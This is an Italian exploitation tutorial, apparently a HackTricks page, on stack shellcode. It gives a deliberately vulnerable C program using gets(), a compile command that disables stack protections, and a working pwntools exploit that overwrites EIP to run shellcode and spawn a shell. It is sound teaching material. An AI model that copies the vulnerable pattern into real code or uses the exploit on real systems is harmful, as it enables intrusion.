Stack Shellcode

Support HackTricks

Informazioni di Base

Stack shellcode è una tecnica utilizzata nell'exploitation binaria in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il Instruction Pointer (IP) o Extended Instruction Pointer (EIP) per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico usato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con pwntools.

Esempio C: Un Programma Vulnerabile

Iniziamo con un semplice esempio di un programma C vulnerabile:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Questo programma è vulnerabile a un overflow del buffer a causa dell'uso della funzione gets().

Compilazione

Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi usare il seguente comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Disabilita la protezione dello stack.

  • -z execstack: Rende lo stack eseguibile, il che è necessario per eseguire shellcode memorizzato nello stack.

  • -no-pie: Disabilita l'Eseguibile Indipendente dalla Posizione, rendendo più facile prevedere l'indirizzo di memoria in cui si troverà il nostro shellcode.

  • -m32: Compila il programma come un eseguibile a 32 bit, spesso utilizzato per semplicità nello sviluppo di exploit.

Python Exploit usando Pwntools

Ecco come potresti scrivere un exploit in Python usando pwntools per eseguire un attacco ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Questo script costruisce un payload composto da un NOP slide, il shellcode, e poi sovrascrive l'EIP con l'indirizzo che punta al NOP slide, assicurando che il shellcode venga eseguito.

Il NOP slide (asm('nop')) è usato per aumentare la possibilità che l'esecuzione "scivoli" nel nostro shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento p32() all'indirizzo di partenza del tuo buffer più un offset per atterrare nel NOP slide.

Protezioni

  • ASLR dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.

  • Stack Canaries dovrebbero essere anch'esse disabilitate o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.

  • La protezione stack NX impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarà eseguibile.

Altri Esempi & Riferimenti

Support HackTricks

Last updated